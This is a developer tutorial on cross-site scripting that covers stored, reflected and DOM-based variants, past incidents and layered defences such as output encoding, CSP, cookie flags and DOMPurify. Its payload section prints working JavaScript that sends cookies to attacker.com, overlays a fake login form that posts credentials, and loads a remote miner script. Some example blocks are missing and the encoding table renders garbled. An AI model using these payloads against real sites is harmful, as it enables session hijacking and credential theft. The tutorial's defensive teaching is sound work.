What is XSS? Cross-Site Scripting Explained for Developers
You don't have to break into a server to steal from it. Sometimes, you just have to make the server say what you want — and let the browser do the rest.
Cross-Site Scripting, universally abbreviated as XSS, is one of the oldest, most widespread, and most consistently dangerous vulnerabilities in web security. It has appeared in the OWASP Top 10 list of critical web application security risks for over two decades — and in 2021, it was folded into the #3 ranked category: Injection.
The core idea is deceptively simple:
An attacker injects malicious JavaScript into a web page that is then executed by another user's browser.
Not on the attacker's machine. Not on the server. In the victim's browser — where it runs with full access to the victim's session, cookies, DOM, and in some cases their webcam and clipboard.
This is what makes XSS so insidious. The server isn't necessarily compromised. The attacker doesn't need network access to the target. The vulnerability lives in the gap between content and code — and browsers are extraordinarily good at executing code.
How Browsers Became the Attack Surface
To understand XSS, you need to understand one fundamental truth about how browsers work: they don't distinguish between JavaScript you wrote and JavaScript that ended up on your page.
When a browser receives an HTML document, it parses it, builds a DOM, and executes any <script> tags or event handlers it finds — regardless of their origin. If an attacker can get their JavaScript into the HTML that your server sends to a user, the browser will execute it with the same trust it gives to your own scripts.
That trust is enormous:
Access to cookies (including session tokens)
Access to localStorage and sessionStorage
Ability to make authenticated requests on the user's behalf
Ability to modify the page's DOM (replacing forms, injecting fake login screens)
Access to the browser's APIs (geolocation, clipboard, camera — with existing permissions)
Ability to log keystrokes in real time
This is why a single XSS vulnerability in a banking application is catastrophic. The attacker doesn't need your password — they just need to run code in your browser while you're logged in.
The Three Types of XSS
XSS is not monolithic. Security researchers distinguish three distinct attack classes based on how the malicious script reaches the victim's browser.
1. Stored XSS (Persistent XSS)
Stored XSS occurs when an attacker's payload is saved to the application's database and then served to other users who visit the affected page.
SPONSORED
InstaDoodle - AI Video Creator
Create elementAI Explainer Videos That Convert With Simple Text Prompts.
If the application stores this and later renders it unsanitized in the "Posted by" field of a review, every visitor who sees that review silently sends their session cookies to the attacker's server.
Real incident: The Samy worm (2005) on MySpace was a stored XSS attack. Samy Kamkar injected a payload into his own profile that, when viewed, added him as a friend, copied the worm to the viewer's profile, and propagated to that user's visitors. Within 20 hours, over one million users had run the payload.
Why it's the most dangerous variant
Stored XSS requires no social engineering to target specific victims. Anyone who visits the page is affected. In high-traffic applications, a single stored XSS payload can compromise thousands of sessions before anyone notices.
2. Reflected XSS (Non-Persistent XSS)
Reflected XSS occurs when a malicious payload is embedded in a URL or request parameter, reflected back by the server in its immediate response, and executed in the victim's browser.
The payload is never stored — it bounces off the server directly into the page.
How it works
Attacker crafts malicious URL:
https://example.com/search?q=<script>stealCookies()</script>
Attacker sends this URL to victim (email, SMS, phishing page).
Victim clicks link → browser sends GET request to server.
Server responds:
<html>
<p>Search results for: <script>stealCookies()</script></p>
</html>
Browser executes the script.
Because the domain is example.com — a site the victim trusts — they may not notice anything wrong before clicking.
Real incident: In 2011, a reflected XSS vulnerability was found on eBay. Attackers embedded malicious scripts in product listing URLs shared via email campaigns. Clicking the link while logged in to eBay exposed the victim's session.
The social engineering dependency
Reflected XSS requires the attacker to deliver the malicious URL to the victim — typically via phishing emails, shortened URLs, or compromised ad networks. This makes it less scalable than stored XSS but still highly effective in targeted attacks.
3. DOM-Based XSS
DOM XSS is the most technically subtle variant. The vulnerability exists entirely in client-side JavaScript — the server sends a perfectly safe response, and the malicious payload is never seen by the server at all.
The attack occurs when client-side code reads data from an attacker-controllable source (like location.hash, document.referrer, or window.name) and writes it to a dangerous sink (like innerHTML, eval(), or document.write()) without sanitization.
Sources and Sinks
Sources (attacker-controlled input):
location.search → URL query string
location.hash → URL fragment (#...)
document.referrer → referring page
window.name → cross-origin persistent name
postMessage data → cross-origin messages
Sinks (dangerous output points):
element.innerHTML → parses and renders HTML+JS
document.write() → writes raw HTML to document
eval() → executes string as code
setTimeout(string) → executes string as code
element.src → can use javascript: URIs
location.href → can use javascript: URIs
The server never sees the payload. The browser's own JavaScript reads the URL, builds a string, and injects it into the DOM — executing the attacker's event handler.
The fragment trick
location.hash (the #fragment part of a URL) is never sent to the server. It's purely client-side. This means server-side logging and WAFs are completely blind to fragment-based DOM XSS payloads:
If client-side code does document.write(location.hash), this payload executes with zero server-side visibility.
Real incident: In 2014, jQuery versions prior to 1.9 had a behavior where $(location.hash) would execute scripts if the hash contained HTML. Applications using $(window.location.hash) as a selector were vulnerable to DOM XSS — a pattern that was unfortunately common in jQuery-heavy SPAs of that era.
XSS Attack Payloads: Beyond alert(1)
Security tutorials often show <script>alert(1)</script> as the canonical XSS payload. This is fine for proof-of-concept, but real-world attackers use payloads that do considerably more damage.
Session Hijacking
// Steal session cookie and send to attacker's server
new Image().src = 'https://attacker.com/c?v=' + encodeURIComponent(document.cookie);
Credential Harvesting (Phishing via DOM manipulation)
// Replace the login form with a fake one that exfiltrates credentials
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
<form action="https://attacker.com/harvest" method="POST">
<h2>Session expired. Please log in again.</h2>
<input name="email" placeholder="Email" />
<input name="password" type="password" placeholder="Password" />
<button type="submit">Log In</button>
</form>
</div>
`;
// Load an external malicious script (bypasses inline length limits)
const s = document.createElement('script');
s.src = 'https://attacker.com/miner.js';
document.head.appendChild(s);
Prevention: A Defense-in-Depth Strategy
No single technique prevents all XSS. A robust defense requires multiple overlapping layers.
Layer 1: Output Encoding (The Primary Defense)
The root cause of XSS is mixing data and code. The fix is encoding output so that user-supplied data is always treated as text, never as markup or JavaScript.
If you must insert into HTML, encode these characters:
Character
Encoded
&
&
<
<
>
>
"
"
'
'
JavaScript Context
Never interpolate untrusted data directly into JavaScript strings — even encoded data can break out of string context in unexpected ways. Use JSON.stringify() for safe serialization:
Modern frontend frameworks encode output by default — but they all provide escape hatches that reintroduce XSS if misused.
React
// ✅ SAFE — React encodes by default
const Greeting = ({ name }) => <h2>Hello, {name}!</h2>;
// ❌ DANGEROUS — bypass encoding only when you control the HTML entirely
const Risky = ({ html }) => <div dangerouslySetInnerHTML={{ __html: html }} />;
Vue
<!-- ✅ SAFE — Vue encodes by default -->
<p>{{ userInput }}</p>
<!-- ❌ DANGEROUS — only use with fully trusted, sanitized HTML -->
<p v-html="userInput"></p>
Angular
<!-- ✅ SAFE -->
<p>{{ userInput }}</p>
<!-- ❌ DANGEROUS — Angular marks this as SecurityContext.NONE -->
<p [innerHTML]="userInput"></p>
Rule of thumb: If the framework API has "unsafe," "raw," "dangerously," or "html" in its name, treat it as a red flag requiring a code review.
Layer 3: Content Security Policy (CSP)
Content Security Policy is an HTTP response header that tells the browser which sources of scripts, styles, and other resources are legitimate. A properly configured CSP is your last line of defense — it prevents injected scripts from executing even if your encoding fails.
<!-- Only scripts with the matching nonce execute -->
<script nonce="rAnd0mB4se64==">
// your legitimate code
</script>
<!-- Injected scripts without the nonce are blocked -->
<script>stealCookies()</script> <!-- blocked by CSP -->
Important:'unsafe-inline' and 'unsafe-eval' in your script-src directive defeat most of CSP's XSS protection. Avoid them.
Layer 4: HttpOnly and Secure Cookie Flags
If session cookies are stolen via document.cookie, the attacker can impersonate the user indefinitely. The HttpOnly flag makes cookies inaccessible to JavaScript entirely:
Cookie inaccessible to document.cookie — blocks the most common XSS exfiltration
Secure
Cookie only sent over HTTPS
SameSite=Strict
Cookie not sent on cross-site requests — also mitigates CSRF
This doesn't prevent XSS from doing damage (an attacker can still manipulate the DOM or make requests on the user's behalf), but it eliminates the most direct path to account takeover via session hijacking.
Layer 5: Input Validation and Sanitization
Validation and sanitization are not a substitute for output encoding — but they provide valuable defense-in-depth.
Validation: Reject input that doesn't conform to expected format.
// If a field should contain a username, reject anything that isn't alphanumeric
const isValidUsername = /^[a-zA-Z0-9_]{3,20}$/.test(input);
Sanitization: When you genuinely need to allow HTML (rich text editors, markdown renderers), use a well-tested sanitization library:
import DOMPurify from 'dompurify';
// ✅ Strips dangerous tags and attributes, preserves safe HTML
const clean = DOMPurify.sanitize(userHtml);
element.innerHTML = clean;
DOMPurify is the industry standard for client-side HTML sanitization. On the server side, use libraries like sanitize-html (Node.js), bleach (Python), or HtmlSanitizer (.NET).
⚠️ Never write your own HTML sanitizer. Bypass techniques for naive sanitizers are exhaustively documented. The attack surface is enormous and the edge cases are non-obvious.
Layer 6: Regular Security Testing
Prevention is ongoing, not a one-time checklist.
Static Analysis (SAST): Tools like Semgrep, SonarQube, and CodeQL can flag dangerous sink usage (innerHTML, eval, document.write) in code review pipelines.
Dynamic Analysis (DAST): Tools like OWASP ZAP and Burp Suite actively probe running applications for XSS vulnerabilities.
Dependency Scanning: Many XSS vulnerabilities come from vulnerable npm packages. Use npm audit, Snyk, or Dependabot to stay current.
Penetration Testing: Periodic manual testing by security professionals catches what automated tools miss.
Quick Reference: XSS Prevention Checklist
✅ Use textContent instead of innerHTML wherever possible
✅ Encode output in the correct context (HTML, JS, URL, CSS)
✅ Never use dangerouslySetInnerHTML / v-html with untrusted data
✅ Implement a strict Content Security Policy with nonces
✅ Set HttpOnly, Secure, and SameSite flags on session cookies
✅ Sanitize rich HTML with DOMPurify or equivalent
✅ Validate and reject input that doesn't match expected patterns
✅ Avoid eval(), setTimeout(string), and document.write()
✅ Audit dependencies for known XSS vulnerabilities
✅ Test with OWASP ZAP or Burp Suite regularly
✅ Never interpolate user data into JavaScript strings directly
✅ Validate URL schemes before assigning to href or src
Conclusion
XSS has persisted for decades not because developers are careless, but because the attack surface is genuinely complex. The boundary between content and code is blurry in HTML, context-dependent, and riddled with edge cases that even experienced engineers miss.
Understanding the three attack variants — Stored, Reflected, and DOM-based — is the foundation. Stored XSS poisons the database. Reflected XSS weaponizes URLs. DOM XSS exploits your own JavaScript. Each requires different detection strategies and slightly different mitigations.
But the prevention principles are consistent: encode outputs, use safe APIs, implement CSP, protect cookies, and test continuously.
The browser is a powerful runtime. Keep it running your code — not someone else's.